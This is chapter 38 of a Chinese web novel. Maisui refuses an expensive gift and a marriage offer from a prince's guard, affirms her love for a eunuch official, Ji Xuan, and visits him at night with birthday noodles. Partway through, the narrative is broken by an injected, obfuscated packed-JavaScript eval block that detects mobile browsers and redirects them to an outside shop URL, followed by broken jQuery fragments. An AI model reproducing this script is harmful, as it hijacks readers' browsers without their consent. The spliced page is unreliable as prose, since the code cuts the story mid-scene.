38. 坦诚

作品:《和太监夫郎二三事

    其实自那日她拒绝了朱四的帮忙后,两人就未曾再见过面了,如意从这里离开,她也没见过人。


    今天实属意料之外。


    朱四给予她肯定的眼神,让人收下,大方的代她回了邻居所谓身份之类的问题。


    他如同当日对她的介绍一般,与众人道:“我唤朱四,乃祁王殿下府上的三等护卫,今儿个是受主子的吩咐,来给麦穗小娘子送贺礼的。”


    “哎呀呀不得了哦,小麦,你还认识王爷呢!”


    “那王爷长什么样呀,是不是和话本子说的一样俊?”


    “他好相处吗?说话是不是要像戏台上那样挺胸抬头阔步的?”


    大家伙儿你一言我一语的讨论开,又问朱四:“既是生辰礼,为何你家主子不亲自送来,非要经你这一遭,是不是故意拿着我们小麦呢?”


    “那可是天大的冤枉啊!”朱四道:“主子极为重视,奈何实在俗务缠身,这才只能托我代劳了。”


    演得可真像。


    麦穗想,他要在自己生活的时代,指定能拿个影帝什么的。


    贵人事忙,贵人事忙。


    有理有据的话叫这一出翻了篇儿,又将注意力放到她手上的礼来。


    “小麦,你快打开,让我们也瞧一瞧,这天家的人,送的都什么?”


    “光看这匣子就很贵,里边的东西,定然是价值连城!”


    麦穗不想收,太贵的东西总是要有它相应的付出的,拿了她不安心,可这会儿被架到这个位置上了,若当面拒绝,也怕不好收场。


    人无奈,徐徐打开。


    一颗硕大明亮的夜明珠骤然现于前,打开的一瞬,整个院子都仿佛骤然亮了。


    匣子很大,放了两样东西,旁边的是一只赤金缠丝嵌珠的镯子,做工精致华美,在夜明珠的照耀下熠熠生光。


    果然……


    很贵!


    惊呼声一片。


    “主子说,希望你有朝一日可以戴着它,走进祁王府的门。”朱四将那镯子拿出来,套到她手上,面带笑意的说。


    麦穗:“……”


    如果说方才还能猜不过是有往来而已,那么这会儿算是明牌了。


    可他在讲什么鬼东西!


    谁要进府啊!


    简直叫人无语!


    她不作理会,将镯子取下来重新放回匣子里,笑呵呵的插科打诨,把话题扯开了去。


    一切似不曾发生过,院子里喧嚣热闹不断,直到亥时,夜深,这才人皆散去。


    麦穗花了大约有半个时辰左右,收拾了这一地狼藉,但见朱四还在,将礼还给人。


    “心意我收到了,东西就不必了,太贵重了,不太合适。”


    “送出去的礼,哪有收回的道理。”


    朱四脸色冷下来,道:“何况这对你或许贵重,可对于我家主子来说,不过就是随手从库房里取出来的一样物件罢,算不得什么。”


    “麦穗,你早晚是要进府的,这些不过只是理应的东西罢,难不成你还想到时候穿着这样一身过去吗?”


    “祁王府上的人,连个像样的头面都没有,传出去像什么话?”


    这高高在上的傲慢态度让麦穗十分不喜,她拧眉,但想到他的身份,还是努力压抑下心中的不快,好言好语与人说:“先生误会了,我就是一个市井小巷的寻常人,我清楚自己的身份,也明白自己的能力,我不过就是托大家伙儿的福,在这巷子里能有口饭吃罢,承蒙关照,为我谋算高门,奈何我确实不是那块儿料,所以只能辜负了。”


    “过去诸多言论,多为玩笑之语,先生不必太过在意。”


    朱四不语,脸色愈发的沉,在秋夜里仿若凝上了冰霜一般。


    麦穗也有些惶恐,可她知道收不得,尤其在人坦明这个态度后,更加收不得了,所以也没服软,只是一边小心翼翼的观察他的反应,一边脑子不停的转……


    死脑,快想办法啊!


    出大问题了!


    麦穗脑子飞快的转着,最后破罐子破摔,她想,如果人真的逼她的话,大不了她就揭穿他的身份,他欺骗自己到现在,还派人监视她……


    反正吵起来的时候,声量一定要高,就算没理都要占三分,何况她本来就是有理的一方,那时候就暂且忽略掉他们之间的身份差距……


    总之一句话,不能低头!


    她这般想着,却听黑暗中忽然传来一个阴沉的声音,问:“你如此抗拒,可是因为你那在宫禁的阿兄?”


    这些她没必要跟他说,是个人私事,不过到这个地步,她还是与他说明了。


    “他不是我阿兄,他是我喜欢的人,我们在家中之时,夫人曾说过,将来我们是可以成亲的。”


    朱四道:“可现在不是过去,他也不是过去的人了,他是个阉人!”


    麦穗:“对于我来说,男人,阉人,都一样,没什么分别,我只看重那个人,其它的都不重要。”


    “那如果他不要你了呢,他将你卖给了我家主子。”


    麦穗摇头,“他不会的。”


    她肯定的说:“他也许会不要我,可他不会卖了我,哪怕是卖,他都会过来跟我说的。”


    “你就那么信任他?”


    “是!”


    随着这一声一块落下的,是院子里那棵槐树枯黄的叶。


    落到她的头上。


    两人都沉默了,约莫有一盏茶的功夫,朱四将匣子收回。


    “麦穗,希望你别后悔。”


    她不会后悔的!


    麦穗从来不后悔自己所做的任何一个决定!


    不过朱四并未要她的答案,自然也不会等她说出来,人还没开口,他就走了。


    见他彻底消失在院中,麦穗抬头看了一眼天色,当下还未到子时。


    她进了屋,多添了一件帽衫,随即又进厨房,将早就收拾好的竹编提篮食盒拿起,跟着出了门。


    ……


    她要去西厂的衙署。


    麦穗之前打探过了,纪瑄这几日都忙于审问的事,并不住在宫禁内,多数时候在衙署。


    西厂办公的住处在西华门附近,她住的是城东街,可以说完全是两个方向,十分的远,时下已然夜深,万籁俱寂,人多归梦乡,并不能借到代步的车马,所以她只能用两条腿自己走。


    为了赶时辰,她走得极快,几乎是跑着的。


    呼呼的秋风在她脸上拍打着,从开始的冷,疼,到最后僵硬,有点麻木了,感觉不到太多了,好在紧赶慢赶,总算还是在子时之前,到了地方。


    衙署门关了,外头只有两个值夜的人在守着,她过去问话,请人代为通传。


    “你是大人的什么人,找他何事?”


    “我是他家乡来的妹子。”


    她本来想说是宫外相好的娘子,但一想他脸皮薄,也没认过她这一层关系,便还是出于慎重考虑改了称呼。


    二人面面相觑一番,大抵想她一个女子也做不得什么,还是好心去给她通报了,不多时人出来,请她进去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885354|189018||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    ……


    纪瑄刚从西厂的大牢里回来,一身脏污和血腥味还未来得及换下,就听人进来报道有人找他,光听描述他便猜到是谁了,刚忙让人请进来。


    自己换下那身脏衣物,便出门迎人。


    暮夜下,大老远的就见一女子莲步蹁跹的朝着这头来,人也见到了他,步子更快了,兴奋招手,“纪瑄,这里这里。”


    两人在檐角撞了面,领她进来的守卫与人行礼,“大人。”


    “嗯。”


    纪瑄点头,应了他的声,道:“下去罢。”


    “是。”


    “大人!”


    “嗯。”


    “下去罢!”


    麦穗抬头挺胸,摆了一个四方步,学着刚才他的模样说话,纪瑄看她学自己,羞得脸色涨红,哑声唤她:“穗穗,莫要取笑我了。”


    “我没有取笑你啊纪瑄。”


    麦穗说认真的,“很有派头哦,好帅气呀!我还是第一次见这样的你嘞,好威风,像电影里的大人物一样。”


    她经常会蹦出一些莫名其妙的词,纪瑄已经习惯了,并没有多问,只是说道:“你不害怕这样的我吗?”


    “怕什么?”


    麦穗不理解,“这有什么好怕的,每个人都有多面的嘛,上班下班状态不一样,很正常的。”


    她爸爸经常在公司的时候也是一本正经训这个训那个,但是回家见了她跟妈妈又换了一个人,跟老鼠见了猫似的听话得紧。


    她记得人说过,这叫做慈难掌兵,正经的场合,如果他状态同在家中一般,就会难以服众,会影响工作效率。


    “嗯,正常的。”


    纪瑄松一口气,不再提这一茬,领着人往里走,“外边冷,我们进屋再说。”


    “好。”


    麦穗跟着他去了人在西厂的值房,并不算大,屋里摆设也简陋,只有一张桌子和一些笔墨纸砚之类的。


    哦,还有一张供人休息的床,不过看上去很小很窄,纪瑄本来生得就挺高的,这一年又长了些许,麦穗都怀疑那床是否能装得下他?


    床榻旁边,是换下来的衣衫,昏黄的烛光下可以看到,有些脏,还带着血。


    纪瑄促然,身体僵住,他想说什么,可是喉舌晦涩,张了张嘴,却发不出声音。


    “你这收拾得还挺干净的,麻雀虽小五脏俱全啊!”


    她兀自拉了个凳子坐下,打开自己带来的食盒。


    “呐,你来不了,我给你送过来了。”


    麦穗将做好的长寿面递给他。


    “你这么晚,从东城跑到西城,就为了送这个?”


    “那当然了。”


    麦穗仰头,骄傲又理所当然的说:“咱俩都一块几年了,我的生辰怎么能没有你呢。”


    她催着他快点接。


    “你赶紧吃吧,这都有点凉了,坨了,再不吃就不好吃了。”


    纪瑄瞧着那还冒着热气的面,心里也渐生出热意来。


    他接过,坐下来。


    麦穗递了筷子给他,又自己拿出来另一碗。


    “嘿嘿,我特意留着,就等着跟你一块吃呢。”


    她坐到他边上,笑得没心没肺,还撞了一下人的肩,“我生辰分一半福气给你,够意思吧?”


    “嗯,很够意思。”


    他点头认同,却是自觉坐远些去,拉开二人的距离。


    麦穗对他这反应不喜,“你嫌弃我?”


    “不是,我身上脏……”